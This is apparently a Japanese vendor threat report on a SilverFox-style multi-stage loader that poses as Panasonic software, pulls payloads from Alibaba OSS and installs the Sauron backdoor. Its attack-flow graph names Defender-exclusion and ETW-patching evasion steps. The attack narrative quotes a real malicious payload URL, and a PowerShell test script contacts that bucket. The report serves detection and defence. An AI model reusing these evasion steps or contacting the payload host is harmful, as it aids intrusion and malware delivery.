SilverFoxスタイルのローダーチェーンがパナソニックシェル、Alibaba OSS、Sauronを使用

SOC Prime Team

フォローする

SilverFoxスタイルのローダーチェーンがパナソニックシェル、Alibaba OSS、Sauronを使用

Detection stack

AIDR
Alert
ETL
Query

脅威レポート
攻撃フロー
検出
シミュレーション

概要

この脅威は、正当なパナソニックソフトウェアに偽装された高度なマルチステージローダーチェーンを中心としています。マルウェアはAlibaba OSSを利用してペイロードを配信し、独特の5バイトEOFトレーラー形式を持つ画像ベースの暗号化キャリアに依存しています。最終段階ではSauronバックドアを展開し、サービスの作成とターゲットとなるレジストリの変更を通じて持続性を維持します。

調査

アナリストは静的および動的分析の両方を実施し、TencentとPhilipsのソフトウェアとブランドされたバイナリを含むサイドローディング操作のシーケンスを発見しました。調査により、増分XORとRC4を使用した階層化された復号化ルーチンが暴露され、RPCメカニズムを通じてスケジュールされたタスク作成がありました。メモリフォレンジックとサンドボックスのテレメトリーは、初期のパナソニックテーマのラッパーから最後のSauronバックドアまでの完全な実行パスを再構築するのに役立ちました。

緩和策

組織は、不正なRPCベースのタスクスケジューリングや、 NdrClientCall3を通じた疑わしいスケジュールタスクの作成を監視すべきです。強力なアプリケーション許可リストは、未承認のサイドローディングされたDLLの実行をブロックするのに役立ちます。防御側はまた、ボリュームシャドウコピーの予期しない削除や HKCUSOFTWARE.

の下での疑わしいレジストリの変更を監視するべきです。

この活動が検出された場合は、さらなる横方向の移動やコマンド＆コントロール通信を阻止するために、影響を受けたシステムを直ちに分離してください。メモリフォレンジックを行い、注入されたモジュールを特定し、ローダーチェーンの現在の段階を判断します。ネットワークログも、アリババOSSインフラストラクチャやトリアージ中に特定された既知のコマンド＆コントロールIPアドレスへのトラフィックについて見直す必要があります。

graph TB %% Class Definitions classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef evasion fill:#ccffcc classDef persistence fill:#ffff99 %% Node Definitions %% Initial Access and Execution exec_user_malicious[“アクション – ユーザー実行: 悪意あるファイル ファイル: ainstaller-86533005.exe 説明: ユーザーはPanasonic PC通知ソフトウェアに偽装されたトロイの木馬を実行します。”] class exec_user_malicious action %% Obfuscation and Masquerading obf_files[“難読化されたファイルまたは情報 技術: マルチレイヤー段階的バッファ メカニズム: カスタムXOR/RC4デコード 抽出: 画像キャリアからの5バイトEOFトレーラー。”] class obf_files malware mask_file_type[“偽装: ファイルタイプの偽装 説明: 暗号化ペイロードを隠すために画像の拡張子(gif, jpg, png, db)を使用。”] class mask_file_type evasion %% Proxy Execution proxy_sys_bin[“システムバイナリプロキシ実行 ターゲット1: Tencent UxEnhanceHost が UxEnhance64.dll をロード ターゲット2: Philips/Speech Processing Solutions ホストが XPSPLOG.dll をロード”] class proxy_sys_bin action %% Persistence persist_sched_task[“スケジュールされたタスク/ジョブ: スケジュールされたタスク モジュール: VirtuOne メカニズム: \pipeatsvc 経由のRPCコールでタスクスケジューラへ 目的: 隠された繰り返しのタスクを作成。”] class persist_sched_task persistence %% Defense Evasion evade_def_impair[“防御の削減 アクション: ntdll.dll!NtTraceEvent をパッチング”] class evade_def_impair evasion evade_selective_excl[“選択的排除 ツール: PowerShell コマンド: Add-MpPreference -ExclusionPath 目的: Windows Defender の除外追加。”] class evade_selective_excl evasion %% Final Stage proxy_rundll32[“システムバイナリプロキシ実行: Rundll32 ファイル: rundll32.dat エクスポート: エッジ アクション: 悪意のあるサービスをインストールして開始します。”] class proxy_rundll32 action malware_sauron[“マルウェア: Sauron タイプ: 悪意のあるサービス 能力: 持続的なバックドアとコマンドの開始。”] class malware_sauron malware %% Connections %% Flow of execution exec_user_malicious –>|トリガー| obf_files obf_files –>|利用| mask_file_type mask_file_type –>|導く| proxy_sys_bin proxy_sys_bin –>|有効化| persist_sched_task persist_sched_task –>|促進| evade_def_impair persist_sched_task –>|促進| evade_selective_excl evade_def_impair –>|環境を準備| proxy_rundll32 evade_selective_excl –>|環境を準備| proxy_rundll32 proxy_rundll32 –>|インストール| malware_sauron

攻撃フロー

攻撃のナラティブとコマンド: 敵は、正当なクラウドストレージサービスを利用して通常のトラフィックと同化し、第二段階のペイロードをダウンロードしようとしています。攻撃者は、既知のSilverFox Alibaba OSS URLへのローダーの要求をシミュレートするために、PowerShellのワンライナーを使用します: https://jun616.oss-cn-beijing.aliyuncs.com/tad/payload.exe。このアクションは、 aliyuncs.com の評判を利用して単純なドメインフィルタを回避することを目的としていますが、検出ルールで定義された特定の悪意のあるパスを使用しています。

回帰テストスクリプト:

# SilverFoxローダーネットワークインジケータのシミュレーション
# このスクリプトは、Sigma ルールによって監視されている特定の URL への接続を試みます。

$targetUrl = "https://jun616.oss-cn-beijing.aliyuncs.com/tad/test_file.txt"
Write-Host "[!] SilverFoxネットワーク接続のシミュレーションを実行: $targetUrl"

try {
    # 標準的な HTTP プロキシテレメトリを生成するために Invoke-WebRequest を使用
    $response = Invoke-WebRequest -Uri $targetUrl -Method Get -UseBasicParsing
    Write-Host "[+] リクエストが完了しました。ステータスコード: $($response.StatusCode)"
}
catch {
    # URL に実際にファイルがホストされていない場合、404 または接続エラーが予想されますが、
    # プロキシログには試行が記録されます。
    Write-Host "[-] リクエストが試行されました。接続試行のためにプロキシログを確認してください。"
}

クリーンアップコマンド:

# このシミュレーションによる永続的な変更なし; クリーンアップ不要です。
Write-Host "[*] シミュレーションクリーンアップ完了。"

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加